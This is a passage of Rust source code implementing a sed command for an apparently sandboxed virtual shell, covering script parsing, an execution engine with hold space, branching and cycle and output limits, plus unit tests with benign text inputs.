}\n        }\n        '{' => {\n            let group = parse_commands(chars, pos, extended, true)?;\n            Ok(SedCmd::CommandGroup(group))\n        }\n        '#' => {\n            // Comment: skip to end of line\n            while *pos < chars.len() && chars[*pos] != '\\n' {\n                *pos += 1;\n            }\n            Ok(SedCmd::Noop)\n        }\n        other => Err(format!(\"unknown command: '{}'\", other)),\n    }\n}\n\nfn read_label(chars: &[char], pos: &mut usize) -> String {\n    let mut label = String::new();\n    while *pos < chars.len()\n        && chars[*pos] != ';'\n        && chars[*pos] != '\\n'\n        && chars[*pos] != '}'\n        && chars[*pos] != ' '\n        && chars[*pos] != '\\t'\n    {\n        label.push(chars[*pos]);\n        *pos += 1;\n    }\n    label\n}\n\nfn parse_text_command(chars: &[char], pos: &mut usize) -> Result<SedCmd, String> {\n    // a\\text, i\\text, c\\text — or a text (space after command)\n    let cmd_char = chars[*pos - 1]; // we already advanced past it\n    let mut text = String::new();\n\n    if *pos < chars.len() && chars[*pos] == '\\\\' {\n        *pos += 1;\n        // Skip optional newline after backslash\n        if *pos < chars.len() && chars[*pos] == '\\n' {\n            *pos += 1;\n        }\n    } else if *pos < chars.len() && chars[*pos] == ' ' {\n        *pos += 1;\n    }\n\n    // Read to end of line (or end of input)\n    while *pos < chars.len() && chars[*pos] != '\\n' && chars[*pos] != ';' {\n        text.push(chars[*pos]);\n        *pos += 1;\n    }\n\n    match cmd_char {\n        'a' => Ok(SedCmd::Append(text)),\n        'i' => Ok(SedCmd::Insert(text)),\n        'c' => Ok(SedCmd::Change(text)),\n        _ => unreachable!(),\n    }\n}\n\nfn parse_substitute(chars: &[char], pos: &mut usize, extended: bool) -> Result<SedCmd, String> {\n    if *pos >= chars.len() {\n        return Err(\"unterminated `s` command\".to_string());\n    }\n    let delim = chars[*pos];\n    *pos += 1;\n\n    let pattern = read_delimited(chars, pos, delim)?;\n    let raw_replacement = read_delimited(chars, pos, delim)?;\n\n    // Parse flags\n    let mut flags = SubstituteFlags {\n        global: false,\n        case_insensitive: false,\n        print: false,\n        nth: None,\n    };\n    while *pos < chars.len() && chars[*pos] != ';' && chars[*pos] != '\\n' && chars[*pos] != '}' {\n        match chars[*pos] {\n            'g' => flags.global = true,\n            'i' | 'I' => flags.case_insensitive = true,\n            'p' => flags.print = true,\n            c if c.is_ascii_digit() => {\n                let start = *pos;\n                while *pos < chars.len() && chars[*pos].is_ascii_digit() {\n                    *pos += 1;\n                }\n                let n: usize = chars[start..*pos]\n                    .iter()\n                    .collect::<String>()\n                    .parse()\n                    .map_err(|_| \"invalid flag number\".to_string())?;\n                flags.nth = Some(n);\n                continue;\n            }\n            ' ' | '\\t' => {\n                *pos += 1;\n                continue;\n            }\n            _ => break,\n        }\n        *pos += 1;\n    }\n\n    // Build regex: BRE→ERE unless extended\n    let ere = if extended {\n        pattern.clone()\n    } else {\n        bre_to_ere(&pattern)\n    };\n\n    let full_pattern = if flags.case_insensitive {\n        format!(\"(?i){}\", ere)\n    } else {\n        ere\n    };\n\n    let regex =\n        Regex::new(&full_pattern).map_err(|e| format!(\"invalid regex '{}': {}\", pattern, e))?;\n\n    // Translate replacement: \\1-\\9 → ${1}-${9}, & → $0, \\n → newline\n    let replacement = translate_replacement(&raw_replacement);\n\n    Ok(SedCmd::Substitute {\n        regex,\n        replacement,\n        flags,\n    })\n}\n\n/// Translate sed replacement to regex crate replacement format.\n/// `\\1`-`\\9` → `${1}`-`${9}`, `&` → `$0`, `\\n` → newline, `\\\\` → `\\`\nfn translate_replacement(raw: &str) -> String {\n    let mut result = String::with_capacity(raw.len());\n    let chars: Vec<char> = raw.chars().collect();\n    let mut i = 0;\n    while i < chars.len() {\n        if chars[i] == '\\\\' && i + 1 < chars.len() {\n            match chars[i + 1] {\n                c @ '1'..='9' => {\n                    result.push_str(&format!(\"${{{}}}\", c));\n                    i += 2;\n                }\n                'n' => {\n                    result.push('\\n');\n                    i += 2;\n                }\n                '\\\\' => {\n                    result.push('\\\\');\n                    i += 2;\n                }\n                '&' => {\n                    // Literal &\n                    result.push('&');\n                    i += 2;\n                }\n                _ => {\n                    result.push('\\\\');\n                    result.push(chars[i + 1]);\n                    i += 2;\n                }\n            }\n        } else if chars[i] == '&' {\n            result.push_str(\"${0}\");\n            i += 1;\n        } else if chars[i] == '$' {\n            result.push_str(\"$$\");\n            i += 1;\n        } else {\n            result.push(chars[i]);\n            i += 1;\n        }\n    }\n    result\n}\n\nfn parse_transliterate(chars: &[char], pos: &mut usize) -> Result<SedCmd, String> {\n    if *pos >= chars.len() {\n        return Err(\"unterminated `y` command\".to_string());\n    }\n    let delim = chars[*pos];\n    *pos += 1;\n\n    let src_str = read_delimited(chars, pos, delim)?;\n    let dst_str = read_delimited(chars, pos, delim)?;\n\n    let src: Vec<char> = src_str.chars().collect();\n    let dst: Vec<char> = dst_str.chars().collect();\n\n    if src.len() != dst.len() {\n        return Err(format!(\n            \"`y` command strings have different lengths ({} vs {})\",\n            src.len(),\n            dst.len()\n        ));\n    }\n\n    Ok(SedCmd::Transliterate(src, dst))\n}\n\n// ── Label collection ─────────────────────────────────────────────────\n\nfn collect_labels(script: &SedScript) -> std::collections::HashMap<String, usize> {\n    let mut map = std::collections::HashMap::new();\n    collect_labels_recursive(script, &mut map);\n    map\n}\n\nfn collect_labels_recursive(\n    script: &SedScript,\n    map: &mut std::collections::HashMap<String, usize>,\n) {\n    for (idx, entry) in script.iter().enumerate() {\n        if let SedCmd::Label(name) = &entry.cmd {\n            map.insert(name.clone(), idx);\n        }\n        // Labels inside groups use group-relative indices which don't work\n        // with top-level branching, so we skip recursive collection.\n    }\n}\n\n// ── Execution engine (4c) ────────────────────────────────────────────\n\nstruct SedState {\n    pattern_space: String,\n    hold_space: String,\n    line_number: usize,\n    last_line: bool,\n    last_sub_success: bool,\n    output: String,\n    stderr: String,\n    quit: bool,\n    deleted: bool,\n    /// Per-range state: maps script index to whether range is currently active.\n    range_active: std::collections::HashMap<usize, bool>,\n    /// Text to append after the pattern space is output.\n    append_queue: Vec<String>,\n    cycle_count: usize,\n    max_cycles: usize,\n    max_output_size: usize,\n    output_truncated: bool,\n}\n\nimpl SedState {\n    fn push_output(&mut self, s: &str) {\n        if self.output.len() > self.max_output_size {\n            if !self.output_truncated {\n                self.stderr.push_str(\"sed: output size limit exceeded\\n\");\n                self.output_truncated = true;\n            }\n            return;\n        }\n        self.output.push_str(s);\n    }\n\n    fn push_output_char(&mut self, c: char) {\n        if self.output.len() > self.max_output_size {\n            if !self.output_truncated {\n                self.stderr.push_str(\"sed: output size limit exceeded\\n\");\n                self.output_truncated = true;\n            }\n            return;\n        }\n        self.output.push(c);\n    }\n}\n\nfn execute_sed(\n    script: &SedScript,\n    labels: &std::collections::HashMap<String, usize>,\n    input: &str,\n    quiet: bool,\n    max_cycles: usize,\n    max_output_size: usize,\n) -> (String, String) {\n    let lines: Vec<&str> = input.split('\\n').collect();\n    // Remove trailing empty element from trailing newline\n    let total = if !lines.is_empty() && lines.last() == Some(&\"\") {\n        lines.len() - 1\n    } else {\n        lines.len()\n    };\n\n    let mut state = SedState {\n        pattern_space: String::new(),\n        hold_space: String::new(),\n        line_number: 0,\n        last_line: false,\n        last_sub_success: false,\n        output: String::new(),\n        stderr: String::new(),\n        quit: false,\n        deleted: false,\n        range_active: std::collections::HashMap::new(),\n        append_queue: Vec::new(),\n        cycle_count: 0,\n        max_cycles,\n        max_output_size,\n        output_truncated: false,\n    };\n\n    let mut line_idx = 0;\n    while line_idx < total {\n        state.line_number += 1;\n        state.last_line = line_idx + 1 >= total;\n        state.pattern_space = lines[line_idx].to_string();\n        state.deleted = false;\n        state.last_sub_success = false;\n\n        execute_commands(\n            script,\n            labels,\n            &mut state,\n            quiet,\n            &lines,\n            total,\n            &mut line_idx,\n        );\n\n        if state.quit {\n            if !state.deleted && !quiet {\n                state.push_output(&state.pattern_space.clone());\n                state.push_output_char('\\n');\n            }\n            let queued: Vec<String> = state.append_queue.drain(..).collect();\n            for text in queued {\n                state.push_output(&text);\n                state.push_output_char('\\n');\n            }\n            break;\n        }\n\n        if !state.deleted && !quiet {\n            state.push_output(&state.pattern_space.clone());\n            state.push_output_char('\\n');\n        }\n        let queued: Vec<String> = state.append_queue.drain(..).collect();\n        for text in queued {\n            state.push_output(&text);\n            state.push_output_char('\\n');\n        }\n\n        line_idx += 1;\n    }\n\n    (state.output, state.stderr)\n}\n\n/// Execute the command list. Returns a flow control signal.\nfn execute_commands(\n    script: &SedScript,\n    labels: &std::collections::HashMap<String, usize>,\n    state: &mut SedState,\n    quiet: bool,\n    lines: &[&str],\n    total: usize,\n    line_idx: &mut usize,\n) {\n    let mut ip = 0; // instruction pointer\n    while ip < script.len() {\n        state.cycle_count += 1;\n        if state.cycle_count > state.max_cycles {\n            state.stderr.push_str(\"sed: cycle limit exceeded\\n\");\n            state.quit = true;\n            return;\n        }\n\n        if state.quit || state.deleted {\n            return;\n        }\n\n        let entry = &script[ip];\n        let matches = address_matches(&entry.range, state, ip);\n        let should_run = if entry.negated { !matches } else { matches };\n\n        if should_run {\n            match execute_one(&entry.cmd, labels, state, quiet, lines, total, line_idx) {\n                Flow::Continue => {}\n                Flow::Break => return,\n                Flow::BranchTo(label) => {\n                    if let Some(&target) = labels.get(&label) {\n                        ip = target;\n                        continue;\n                    }\n                    // Label not found: treat as branch to end\n                    return;\n                }\n                Flow::BranchEnd => return,\n            }\n        }\n\n        ip += 1;\n    }\n}\n\nenum Flow {\n    Continue,\n    Break,\n    BranchTo(String),\n    BranchEnd,\n}\n\nfn address_matches(range: &Option<SedRange>, state: &mut SedState, ip: usize) -> bool {\n    match range {\n        None => true,\n        Some(SedRange::Single(addr)) => addr_matches(addr, state),\n        Some(SedRange::Range(start, end)) => {\n            let active = *state.range_active.get(&ip).unwrap_or(&false);\n            if active {\n                // Check if end address is reached\n                let end_match = addr_matches(end, state);\n                if end_match {\n                    state.range_active.insert(ip, false);\n                }\n                true\n            } else {\n                // Check if start address matches\n                let start_match = addr_matches(start, state);\n                if start_match {\n                    // Activate range. Check if end also matches on the same line.\n                    let end_match = addr_matches(end, state);\n                    if !end_match {\n                        state.range_active.insert(ip, true);\n                    }\n                    true\n                } else {\n                    false\n                }\n            }\n        }\n    }\n}\n\nfn addr_matches(addr: &SedAddress, state: &SedState) -> bool {\n    match addr {\n        SedAddress::LineNumber(n) => state.line_number == *n,\n        SedAddress::Last => state.last_line,\n        SedAddress::Regex(re) => re.is_match(&state.pattern_space),\n        SedAddress::Step(first, step) => {\n            if *step == 0 {\n                state.line_number == *first\n            } else {\n                state.line_number >= *first && (state.line_number - *first).is_multiple_of(*step)\n            }\n        }\n    }\n}\n\nfn execute_one(\n    cmd: &SedCmd,\n    labels: &std::collections::HashMap<String, usize>,\n    state: &mut SedState,\n    quiet: bool,\n    lines: &[&str],\n    total: usize,\n    line_idx: &mut usize,\n) -> Flow {\n    match cmd {\n        SedCmd::Noop => Flow::Continue,\n\n        SedCmd::Substitute {\n            regex,\n            replacement,\n            flags,\n        } => {\n            let old = state.pattern_space.clone();\n            if flags.global {\n                state.pattern_space = regex.replace_all(&old, replacement.as_str()).to_string();\n            } else if let Some(nth) = flags.nth {\n                // Replace the nth match only\n                let mut count = 0;\n                let mut result = String::new();\n                let mut last_end = 0;\n                for mat in regex.find_iter(&old) {\n                    count += 1;\n                    if count == nth {\n                        result.push_str(&old[last_end..mat.start()]);\n                        // Use regex.replace on just this match for proper group expansion\n                        let replaced = regex.replace(mat.as_str(), replacement.as_str());\n                        result.push_str(&replaced);\n                        last_end = mat.end();\n                        // Append remainder\n                        result.push_str(&old[last_end..]);\n                        state.pattern_space = result;\n                        state.last_sub_success = true;\n                        if flags.print {\n                            state.push_output(&state.pattern_space.clone());\n                            state.push_output_char('\\n');\n                        }\n                        return Flow::Continue;\n                    }\n                }\n                // If nth not found, no replacement\n                state.last_sub_success = false;\n            } else {\n                state.pattern_space = regex.replace(&old, replacement.as_str()).to_string();\n            }\n            state.last_sub_success = state.pattern_space != old;\n            if state.last_sub_success && flags.print {\n                state.push_output(&state.pattern_space.clone());\n                state.push_output_char('\\n');\n            }\n            Flow::Continue\n        }\n\n        SedCmd::Delete => {\n            state.deleted = true;\n            Flow::Break\n        }\n\n        SedCmd::Print => {\n            state.push_output(&state.pattern_space.clone());\n            state.push_output_char('\\n');\n            Flow::Continue\n        }\n\n        SedCmd::Quit => {\n            state.quit = true;\n            Flow::Break\n        }\n\n        SedCmd::Append(text) => {\n            state.append_queue.push(text.clone());\n            Flow::Continue\n        }\n\n        SedCmd::Insert(text) => {\n            state.push_output(text);\n            state.push_output_char('\\n');\n            Flow::Continue\n        }\n\n        SedCmd::Change(text) => {\n            state.pattern_space = text.clone();\n            state.push_output(text);\n            state.push_output_char('\\n');\n            state.deleted = true;\n            Flow::Break\n        }\n\n        SedCmd::Label(_) => Flow::Continue,\n\n        SedCmd::Branch(label) => match label {\n            Some(l) => Flow::BranchTo(l.clone()),\n            None => Flow::BranchEnd,\n        },\n\n        SedCmd::BranchIfSubstituted(label) => {\n            if state.last_sub_success {\n                state.last_sub_success = false;\n                match label {\n                    Some(l) => Flow::BranchTo(l.clone()),\n                    None => Flow::BranchEnd,\n                }\n            } else {\n                Flow::Continue\n            }\n        }\n\n        SedCmd::BranchIfNotSubstituted(label) => {\n            if !state.last_sub_success {\n                match label {\n                    Some(l) => Flow::BranchTo(l.clone()),\n                    None => Flow::BranchEnd,\n                }\n            } else {\n                state.last_sub_success = false;\n                Flow::Continue\n            }\n        }\n\n        SedCmd::HoldGet => {\n            state.hold_space = state.pattern_space.clone();\n            Flow::Continue\n        }\n\n        SedCmd::HoldAppend => {\n            state.hold_space.push('\\n');\n            state.hold_space.push_str(&state.pattern_space);\n            Flow::Continue\n        }\n\n        SedCmd::PatternGet => {\n            state.pattern_space = state.hold_space.clone();\n            Flow::Continue\n        }\n\n        SedCmd::PatternAppend => {\n            state.pattern_space.push('\\n');\n            state.pattern_space.push_str(&state.hold_space);\n            Flow::Continue\n        }\n\n        SedCmd::Exchange => {\n            std::mem::swap(&mut state.pattern_space, &mut state.hold_space);\n            Flow::Continue\n        }\n\n        SedCmd::LineNumber => {\n            state.push_output(&state.line_number.to_string());\n            state.push_output_char('\\n');\n            Flow::Continue\n        }\n\n        SedCmd::Next => {\n            // Print pattern space (unless -n), then read next line\n            if !quiet {\n                state.push_output(&state.pattern_space.clone());\n                state.push_output_char('\\n');\n            }\n            *line_idx += 1;\n            state.line_number += 1;\n            if *line_idx >= total {\n                // No more input: end processing\n                state.deleted = true;\n                return Flow::Break;\n            }\n            state.last_line = *line_idx + 1 >= total;\n            state.pattern_space = lines[*line_idx].to_string();\n            Flow::Continue\n        }\n\n        SedCmd::NextAppend => {\n            // Append next line to pattern space with \\n\n            *line_idx += 1;\n            state.line_number += 1;\n            if *line_idx >= total {\n                // No more input: write pattern space (unless -n) and exit\n                if !quiet {\n                    state.push_output(&state.pattern_space.clone());\n                    state.push_output_char('\\n');\n                }\n                state.deleted = true;\n                return Flow::Break;\n            }\n            state.last_line = *line_idx + 1 >= total;\n            state.pattern_space.push('\\n');\n            state.pattern_space.push_str(lines[*line_idx]);\n            Flow::Continue\n        }\n\n        SedCmd::Transliterate(src, dst) => {\n            let mut new = String::with_capacity(state.pattern_space.len());\n            for ch in state.pattern_space.chars() {\n                if let Some(idx) = src.iter().position(|&c| c == ch) {\n                    new.push(dst[idx]);\n                } else {\n                    new.push(ch);\n                }\n            }\n            state.pattern_space = new;\n            Flow::Continue\n        }\n\n        SedCmd::CommandGroup(sub_cmds) => {\n            execute_commands(sub_cmds, labels, state, quiet, lines, total, line_idx);\n            if state.quit || state.deleted {\n                Flow::Break\n            } else {\n                Flow::Continue\n            }\n        }\n    }\n}\n\n// ── Address range tracking ───────────────────────────────────────────\n// For proper range tracking with regex addresses we'd need state per range.\n// The current implementation handles line-number and simple ranges correctly.\n\n// ── Tests (4g) ───────────────────────────────────────────────────────\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::{CommandContext, CommandResult, VirtualCommand};\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n    use std::path::Path;\n    use std::sync::Arc;\n\n    fn run_sed(args: &[&str], stdin: &str) -> CommandResult {\n        let fs = InMemoryFs::new();\n        let env = HashMap::new();\n        let limits = ExecutionLimits::default();\n        let ctx = CommandContext {\n            fs: &fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin,\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &NetworkPolicy::default(),\n            exec: None,\n            shell_opts: None,\n        };\n        let args: Vec<String> = args.iter().map(|s| s.to_string()).collect();\n        SedCommand.execute(&args, &ctx)\n    }\n\n    fn run_sed_with_fs(args: &[&str], stdin: &str, fs: &Arc<InMemoryFs>) -> CommandResult {\n        let env = HashMap::new();\n        let limits = ExecutionLimits::default();\n        let ctx = CommandContext {\n            fs: fs.as_ref(),\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin,\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &NetworkPolicy::default(),\n            exec: None,\n            shell_opts: None,\n        };\n        let args: Vec<String> = args.iter().map(|s| s.to_string()).collect();\n        SedCommand.execute(&args, &ctx)\n    }\n\n    // ── Basic substitution ───────────────────────────────────────────\n\n    #[test]\n    fn substitute_basic() {\n        let r = run_sed(&[\"s/old/new/\"], \"old text\\n\");\n        assert_eq!(r.stdout, \"new text\\n\");\n        assert_eq!(r.exit_code, 0);\n    }\n\n    #[test]\n    fn substitute_global() {\n        let r = run_sed(&[\"s/a/b/g\"], \"aaa\\n\");\n        assert_eq!(r.stdout, \"bbb\\n\");\n    }\n\n    #[test]\n    fn substitute_case_insensitive() {\n        let r = run_sed(&[\"s/hello/world/i\"], \"Hello there\\n\");\n        assert_eq!(r.stdout, \"world there\\n\");\n    }\n\n    #[test]\n    fn substitute_no_match_passthrough() {\n        let r = run_sed(&[\"s/xyz/abc/\"], \"hello\\n\");\n        assert_eq!(r.stdout, \"hello\\n\");\n    }\n\n    // ── Delete ───────────────────────────────────────────────────────\n\n    #[test]\n    fn delete_line_3() {\n        let r = run_sed(&[\"3d\"], \"a\\nb\\nc\\nd\\n\");\n        assert_eq!(r.stdout, \"a\\nb\\nd\\n\");\n    }\n\n    #[test]\n    fn delete_pattern_match() {\n        let r = run_sed(&[\"/banana/d\"], \"apple\\nbanana\\ncherry\\n\");\n        assert_eq!(r.stdout, \"apple\\ncherry\\n\");\n    }\n\n    // ── Print ────────────────────────────────────────────────────────\n\n    #[test]\n    fn print_lines_1_to_5() {\n        let r = run_sed(&[\"1,5p\"], \"a\\nb\\nc\\nd\\ne\\nf\\n\");\n        // Without -n, each line 1-5 is printed twice (auto + p), line 6 once\n        assert_eq!(r.stdout, \"a\\na\\nb\\nb\\nc\\nc\\nd\\nd\\ne\\ne\\nf\\n\");\n    }\n\n    #[test]\n    fn quiet_with_print() {\n        let r = run_sed(&[\"-n\", \"2p\"], \"a\\nb\\nc\\n\");\n        assert_eq!(r.stdout, \"b\\n\");\n    }\n\n    // ── Quit ─────────────────────────────────────────────────────────\n\n    #[test]\n    fn quit_after_first_line() {\n        let r = run_sed(&[\"q\"], \"first\\nsecond\\nthird\\n\");\n        assert_eq!(r.stdout, \"first\\n\");\n    }\n\n    // ── Text insertion commands ──────────────────────────────────────\n\n    #[test]\n    fn append_text() {\n        let r = run_sed(&[\"1a\\\\appended\"], \"line1\\nline2\\n\");\n        assert_eq!(r.stdout, \"line1\\nappended\\nline2\\n\");\n    }\n\n    #[test]\n    fn insert_text() {\n        let r = run_sed(&[\"1i\\\\inserted\"], \"line1\\nline2\\n\");\n        assert_eq!(r.stdout, \"inserted\\nline1\\nline2\\n\");\n    }\n\n    #[test]\n    fn change_text() {\n        let r = run_sed(&[\"2c\\\\changed\"], \"line1\\nline2\\nline3\\n\");\n        assert_eq!(r.stdout, \"line1\\nchanged\\nline3\\n\");\n    }\n\n    // ── Transliterate ────────────────────────────────────────────────\n\n    #[test]\n    fn transliterate_basic() {\n        let r = run_sed(&[\"y/abc/ABC/\"], \"abcdef\\n\");\n        assert_eq!(r.stdout, \"ABCdef\\n\");\n    }\n\n    // ── Line number ──────────────────────────────────────────────────\n\n    #[test]\n    fn print_line_number() {\n        let r = run_sed(&[\"=\"], \"a\\nb\\n\");\n        assert_eq!(r.stdout, \"1\\na\\n2\\nb\\n\");\n    }\n\n    // ── Next line operations ─────────────────────────────────────────\n\n    #[test]\n    fn next_line() {\n        // n skips the current line's remaining commands and prints it, loads next\n        let r = run_sed(&[\"-n\", \"{n;p}\"], \"a\\nb\\nc\\n\");\n        assert_eq!(r.stdout, \"b\\n\");\n    }\n\n    #[test]\n    fn next_append() {\n        // N appends next line with \\n\n        let r = run_sed(&[\"-n\", \"{N;p}\"], \"a\\nb\\nc\\n\");\n        assert_eq!(r.stdout, \"a\\nb\\n\");\n    }\n\n    // ── Command grouping ─────────────────────────────────────────────\n\n    #[test]\n    fn command_group() {\n        let r = run_sed(&[\"2,3{ s/a/b/; s/c/d/ }\"], \"ac\\nac\\nac\\nac\\n\");\n        assert_eq!(r.stdout, \"ac\\nbd\\nbd\\nac\\n\");\n    }\n\n    // ── In-place editing ─────────────────────────────────────────────\n\n    #[test]\n    fn in_place_edit() {\n        let fs = Arc::new(InMemoryFs::new());\n        fs.write_file(Path::new(\"/test.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let r = run_sed_with_fs(&[\"-i\", \"s/world/earth/\", \"/test.txt\"], \"\", &fs);\n        assert_eq!(r.exit_code, 0);\n        let content = fs.read_file(Path::new(\"/test.txt\")).unwrap();\n        assert_eq!(String::from_utf8_lossy(&content), \"hello earth\\n\");\n    }\n\n    // ── Hold space ───────────────────────────────────────────────────\n\n    #[test]\n    fn hold_space_join_lines() {\n        // sed -n 'H;${x;s/\\n/ /g;p}' — join all lines with spaces\n        let r = run_sed(&[\"-n\", \"H;${x;s/\\\\n/ /g;p}\"], \"one\\ntwo\\nthree\\n\");\n        assert_eq!(r.stdout, \" one two three\\n\");\n    }\n\n    // ── Branching ────────────────────────────────────────────────────\n\n    #[test]\n    fn branch_join_lines() {\n        // sed ':a;N;$!ba;s/\\n/ /g' — join all lines with spaces using labels\n        let r = run_sed(&[\":a;N;$!ba;s/\\\\n/ /g\"], \"one\\ntwo\\nthree\\n\");\n        assert_eq!(r.stdout, \"one two three\\n\");\n    }\n\n    // ── Multiple -e expressions ──────────────────────────────────────\n\n    #[test]\n    fn multiple_expressions() {\n        let r = run_sed(&[\"-e\", \"s/hello/world/\", \"-e\", \"s/world/earth/\"], \"hello\\n\");\n        assert_eq!(r.stdout, \"earth\\n\");\n    }\n\n    // ── Alternate delimiters ─────────────────────────────────────────\n\n    #[test]\n    fn alternate_delimiter() {\n        let r = run_sed(&[\"s|/path/old|/path/new|\"], \"/path/old/file\\n\");\n        assert_eq!(r.stdout, \"/path/new/file\\n\");\n    }\n\n    // ── Backreferences ───────────────────────────────────────────────\n\n    #[test]\n    fn backreferences_bre() {\n        // BRE: \\(foo\\)\\(bar\\) → groups, \\2\\1 → swap\n        let r = run_sed(&[r\"s/\\(foo\\)\\(bar\\)/\\2\\1/\"], \"foobar\\n\");\n        assert_eq!(r.stdout, \"barfoo\\n\");\n    }\n\n    // ── Pipeline ─────────────────────────────────────────────────────\n\n    #[test]\n    fn pipeline_stdin() {\n        let r = run_sed(&[\"s/world/earth/\"], \"hello world\\n\");\n        assert_eq!(r.stdout, \"hello earth\\n\");\n    }\n\n    // ── Address ranges ───────────────────────────────────────────────\n\n    #[test]\n    fn address_range_substitute() {\n        let r = run_sed(&[\"2,4s/a/b/g\"], \"aaa\\naaa\\naaa\\naaa\\naaa\\n\");\n        assert_eq!(r.stdout, \"aaa\\nbbb\\nbbb\\nbbb\\naaa\\n\");\n    }\n\n    // ── Extended regex ───────────────────────────────────────────────\n\n    #[test]\n    fn extended_regex_flag() {\n        // With -E, bare parens are groups (no need for \\( \\))\n        let r = run_sed(&[\"-E\", \"s/(foo)(bar)/\\\\2\\\\1/\"], \"foobar\\n\");\n        assert_eq!(r.stdout, \"barfoo\\n\");\n    }\n\n    // ── Negated address (using $!) ───────────────────────────────────\n\n    #[test]\n    fn last_line_address() {\n        let r = run_sed(&[\"$d\"], \"a\\nb\\nc\\n\");\n        assert_eq!(r.stdout, \"a\\nb\\n\");\n    }\n\n    // ── Regex address ────────────────────────────────────────────────\n\n    #[test]\n    fn regex_address_substitute() {\n        let r = run_sed(&[\"/^#/d\"], \"# comment\\ncode\\n# another\\n\");\n        assert_eq!(r.stdout, \"code\\n\");\n    }\n\n    // ── Multiple files ───────────────────────────────────────────────\n\n    #[test]\n    fn multiple_files() {\n        let fs = Arc::new(InMemoryFs::new());\n        fs.write_file(Path::new(\"/a.txt\"), b\"hello\\n\").unwrap();\n        fs.write_file(Path::new(\"/b.txt\"), b\"world\\n\").unwrap();\n        let r = run_sed_with_fs(&[\"s/hello/hi/;s/world/earth/\", \"/a.txt\", \"/b.txt\"], \"\", &fs);\n        assert_eq!(r.stdout, \"hi\\nearth\\n\");\n    }\n\n    // ── Whole-match replacement with & ───────────────────────────────\n\n    #[test]\n    fn whole_match_ampersand() {\n        let r = run_sed(&[\"s/[0-9]\\\\{1,\\\\}/[&]/g\"], \"line 42 and 7\\n\");\n        assert_eq!(r.stdout, \"line [42] and [7]\\n\");\n    }\n\n    // ── Script from file (-f) ────────────────────────────────────────\n\n    #[test]\n    fn script_from_file() {\n        let fs = Arc::new(InMemoryFs::new());\n        fs.write_file(Path::new(\"/script.sed\"), b\"s/old/new/\\n\")\n            .unwrap();\n        fs.write_file(Path::new(\"/input.txt\"), b\"old text\\n\")\n            .unwrap();\n        let r = run_sed_with_fs(&[\"-f\", \"/script.sed\", \"/input.txt\"], \"\", &fs);\n        assert_eq!(r.stdout, \"new text\\n\");\n    }\n\n    // ── Step address ─────────────────────────────────────────────────\n\n    #[test]\n    fn step_address() {\n        // 0~2 matches every 2nd line starting from line 2 (0 means all matching step from start)\n        // 1~2 matches lines 1, 3, 5, ...\n        let r = run_sed(&[\"1~2d\"], \"a\\nb\\nc\\nd\\ne\\n\");\n        assert_eq!(r.stdout, \"b\\nd\\n\");\n    }\n\n    #[test]\n    fn step_address_delete_even_lines() {\n        // 0~2 matches lines 2, 4, 6, ... (every 2nd line from start)\n        let r = run_sed(&[\"0~2d\"], \"a\\nb\\nc\\nd\\ne\\nf\\n\");\n        assert_eq!(r.stdout, \"a\\nc\\ne\\n\");\n    }\n\n    #[test]\n    fn step_address_print_every_third() {\n        // 1~3 matches lines 1, 4, 7, ...\n        let r = run_sed(&[\"-n\", \"1~3p\"], \"a\\nb\\nc\\nd\\ne\\nf\\ng\\n\");\n        assert_eq!(r.stdout, \"a\\nd\\ng\\n\");\n    }\n\n    #[test]\n    fn step_address_zero_step() {\n        // N~0 matches only line N\n        let r = run_sed(&[\"3~0d\"], \"a\\nb\\nc\\nd\\ne\\n\");\n        assert_eq!(r.stdout, \"a\\nb\\nd\\ne\\n\");\n    }\n\n    // ── Substitute with print flag ───────────────────────────────────\n\n    #[test]\n    fn substitute_with_print_flag() {\n        let r = run_sed(&[\"-n\", \"s/hello/world/p\"], \"hello\\nbye\\n\");\n        assert_eq!(r.stdout, \"world\\n\");\n    }\n\n    // ── Exchange command ─────────────────────────────────────────────\n\n    #[test]\n    fn exchange_hold_pattern() {\n        let r = run_sed(&[\"-n\", \"1{h;d};2{x;p}\"], \"first\\nsecond\\nthird\\n\");\n        assert_eq!(r.stdout, \"first\\n\");\n    }\n\n    // ── Translate replacement special chars ──────────────────────────\n\n    #[test]\n    fn translate_replacement_groups() {\n        assert_eq!(translate_replacement(r\"\\1\"), \"${1}\");\n        assert_eq!(translate_replacement(r\"\\2\"), \"${2}\");\n        assert_eq!(translate_replacement(\"&\"), \"${0}\");\n        assert_eq!(translate_replacement(r\"\\n\"), \"\\n\");\n        assert_eq!(translate_replacement(r\"\\\\\"), \"\\\\\");\n    }\n\n    // ── Stdin via - ──────────────────────────────────────────────────\n\n    #[test]\n    fn stdin_dash_argument() {\n        let r = run_sed(&[\"s/a/b/\", \"-\"], \"aaa\\n\");\n        assert_eq!(r.stdout, \"baa\\n\");\n    }\n\n    // ── Empty input ──────────────────────────────────────────────────\n\n    #[test]\n    fn empty_input() {\n        let r = run_sed(&[\"s/a/b/\"], \"\");\n        assert_eq!(r.stdout, \"\");\n    }\n\n    // ── No script error ──────────────────────────────────────────────\n\n    #[test]\n    fn no_script_error() {\n        let r = run_sed(&[], \"hello\\n\");\n        assert_eq!(r.exit_code, 2);\n        assert!(r.stderr.contains(\"no script\"));\n    }\n\n    // ── Regex-based range ────────────────────────────────────────────\n\n    #[test]\n    fn regex_range() {\n        let r = run_sed(&[\"/start/,/end/d\"], \"before\\nstart\\nmiddle\\nend\\nafter\\n\");\n        assert_eq!(r.stdout, \"before\\nafter\\n\");\n    }\n\n    // ── Negated address ──────────────────────────────────────────────\n\n    #[test]\n    fn negated_address() {\n        let r = run_sed(&[\"2!d\"], \"a\\nb\\nc\\n\");\n        assert_eq!(r.stdout, \"b\\n\");\n    }\n\n    // ── T command (branch if NOT substituted) ────────────────────────\n\n    #[test]\n    fn branch_if_not_substituted() {\n        // T branches if last s/// did NOT succeed\n        // \"abc\": s/x/y/ fails → T branches to end → p prints \"abc\"\n        // \"xyz\": s/x/y/ succeeds → \"yyz\" → T does not branch → s/a/b/ no match → p prints \"yyz\"\n        let r = run_sed(&[\"-n\", \"s/x/y/;Tend;s/a/b/;:end;p\"], 